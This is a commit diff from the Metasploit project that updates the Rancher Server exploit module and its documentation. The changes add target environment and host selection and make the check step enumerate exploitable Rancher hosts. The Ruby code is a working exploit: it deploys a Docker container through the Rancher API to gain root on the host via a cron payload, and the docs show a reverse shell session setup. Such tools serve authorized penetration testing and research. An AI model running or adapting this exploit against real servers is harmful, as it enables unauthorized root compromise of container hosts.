Skip to content

Commit 701d628

Browse files
committed
Features for selecting the target
1 parent f973ff1 commit 701d628

File tree

2 files changed

+58
-21
lines changed

2 files changed

+58
-21
lines changed

documentation/modules/exploit/linux/http/rancher_server.md

Lines changed: 11 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,9 @@ host server.
1010
The Docker image should exist on the target system or be a valid image
1111
from hub.docker.com.
1212

13+
Use `check` with verbose mode to get a list of exploitable Rancher
14+
Hosts managed by the target system.
15+
1316
## Rancher setup
1417
Rancher is deployed as a set of Docker containers. Running Rancher is
1518
as simple as launching two containers. One container as the management
@@ -83,9 +86,8 @@ This module is designed to gain root access on a Rancher Host.
8386
## Options
8487
- CONTAINER_ID if you want to have a human readable name for your container, otherwise it will be randomly generated.
8588
- DOCKERIMAGE is the local image or hub.docker.com available image you want to have Rancher to deploy for this exploit.
86-
- TARGETURI this is the Rancher Server API path. The default environment is `/v1/projects/1a5`.
87-
- TARGETHOST is the Rancher Host ID for the target system. The default host is `1h1`.
88-
- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start.
89+
- TARGETENV this is the target Rancher Environment. The default environment is `1a5`.
90+
- TARGETHOST is the target Rancher Host. The default host is `1h1`.
8991

9092
By default access control is disabled, but if enabled, you need API
9193
Keys with at least "restrictive" permission in the environment.
@@ -94,6 +96,10 @@ See Rancher docs for [api-keys][5] and [membership-roles][6].
9496
- HttpUsername is for your Access Key
9597
- HttpPassword is for your Secret Key
9698

99+
Advanced Options
100+
- TARGETURI this is the Rancher API base path. The default environment is `/v1/projects`.
101+
- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start.
102+
97103
## Steps to exploit with module
98104
- [ ] Start msfconsole
99105
- [ ] use exploit/linux/http/rancher_server
@@ -114,8 +120,8 @@ msf exploit(rancher_server) > set VERBOSE true
114120
VERBOSE => true
115121
msf exploit(rancher_server) > check
116122
117-
[+] TARGETHOST 1h1 found on TARGETURI /v1/projects/1a5
118-
[*] 192.168.91.111:8080 The target appears to be vulnerable.
123+
[+] Rancher Host "rancher" (TARGETHOST 1h1) on Environment "Default" (TARGETENV 1a5) found <-- targeted
124+
[*] 192.168.91.111:8080 The target is vulnerable.
119125
msf exploit(rancher_server) > exploit
120126
121127
[*] Started reverse TCP handler on 192.168.91.1:4444

modules/exploits/linux/http/rancher_server.rb

Lines changed: 47 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,9 @@ def initialize(info = {})
2323
2424
The Docker image should exist on the target system or be a valid image
2525
from hub.docker.com.
26+
27+
Use `check` with verbose mode to get a list of exploitable Rancher
28+
Hosts managed by the target system.
2629
),
2730
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
2831
'License' => MSF_LICENSE,
@@ -39,22 +42,27 @@ def initialize(info = {})
3942
register_options(
4043
[
4144
Opt::RPORT(8080),
42-
OptString.new('TARGETURI', [ true, 'Path to Rancher Environment', '/v1/projects/1a5' ]),
45+
OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]),
4346
OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]),
4447
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
45-
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ]),
4648
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
4749
OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']),
4850
OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)'])
4951
]
5052
)
53+
register_advanced_options(
54+
[
55+
OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]),
56+
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
57+
]
58+
)
5159
end
5260

5361
def del_container(rancher_container_id, container_id)
5462
res = send_request_raw(
5563
'method' => 'DELETE',
5664
'headers' => { 'Accept' => 'application/json' },
57-
'uri' => normalize_uri(target_uri.path, 'containers', rancher_container_id)
65+
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id)
5866
)
5967
return vprint_good('The docker container has been removed.') if res && res.code == 200
6068

@@ -99,7 +107,7 @@ def make_container(mnt_path, cron_path, payload_path, container_id)
99107
def check
100108
res = send_request_raw(
101109
'method' => 'GET',
102-
'uri' => normalize_uri('/v1/projects'),
110+
'uri' => normalize_uri(target_uri.path),
103111
'headers' => { 'Accept' => 'application/json' }
104112
)
105113

@@ -114,30 +122,53 @@ def check
114122
end
115123

116124
if res.code == 200 and res.headers.to_json.include? 'X-Rancher-Version'
117-
# get all rancher environments
118-
projects = JSON.parse(res.body)['data'].map { |data| data['id'] }
119-
# get all hosts from environments
120125
target_found = false
121-
projects.each do |project|
126+
target_selected = false
127+
128+
environments = JSON.parse(res.body)['data']
129+
environments.each do |e|
122130
res = send_request_raw(
123131
'method' => 'GET',
124-
'uri' => normalize_uri('/v1/projects', project, 'hosts'),
132+
'uri' => normalize_uri(target_uri.path, e['id'], 'hosts'),
125133
'headers' => { 'Accept' => 'application/json' }
126134
)
127-
hosts = JSON.parse(res.body)['data'].map { |data| data['id'] }
128-
hosts.each do |host|
135+
136+
hosts = JSON.parse(res.body)['data']
137+
hosts.each do |h|
129138
target_found = true
130-
print_good("TARGETHOST #{host} found on TARGETURI /v1/projects/#{project}")
139+
result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on "
140+
result << "Environment \"#{e['name']}\" (TARGETENV #{e['id']}) found"
141+
142+
# flag results when this host is targeted via options
143+
if datastore['TARGETENV'] == e['id'] && datastore['TARGETHOST'] == h['id']
144+
target_selected = true
145+
vprint_good(result + ' %red<-- targeted%clr')
146+
else
147+
vprint_good(result)
148+
end
149+
end
150+
end
151+
152+
if target_found
153+
return Exploit::CheckCode::Vulnerable if target_selected
154+
155+
print_bad("Your TARGETENV \"#{datastore['TARGETENV']}\" or/and TARGETHOST \"#{datastore['TARGETHOST']}\" is not available")
156+
if datastore['VERBOSE'] == false
157+
print_bad('Try verbose mode to know what happened.')
131158
end
159+
vprint_bad('Choose a TARGETHOST and TARGETENV from the results above')
160+
return Exploit::CheckCode::Appears
161+
else
162+
print_bad('No TARGETHOST available')
163+
return Exploit::CheckCode::Detected
132164
end
133-
return Exploit::CheckCode::Appears if target_found == true
134165
end
135166

136167
Exploit::CheckCode::Safe
137168
end
138169

139170
def exploit
140-
unless check == Exploit::CheckCode::Appears
171+
unless check == Exploit::CheckCode::Vulnerable
141172
fail_with(Failure::Unknown, 'Failed to connect to the target')
142173
end
143174

@@ -150,7 +181,7 @@ def exploit
150181
# deploy docker container
151182
res = send_request_raw(
152183
'method' => 'POST',
153-
'uri' => normalize_uri(target_uri.path, 'containers'),
184+
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'),
154185
'headers' => { 'Accept' => 'application/json', 'Content-Type' => 'application/json' },
155186
'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json
156187
)
@@ -174,7 +205,7 @@ def exploit
174205

175206
res = send_request_raw(
176207
'method' => 'GET',
177-
'uri' => normalize_uri(target_uri.path, 'containers', '?name=' + container_id),
208+
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id),
178209
'headers' => { 'Accept' => 'application/json' }
179210
)
180211
next unless res.code == 200 and res.body.include? 'stopped'

0 commit comments

Comments
 (0)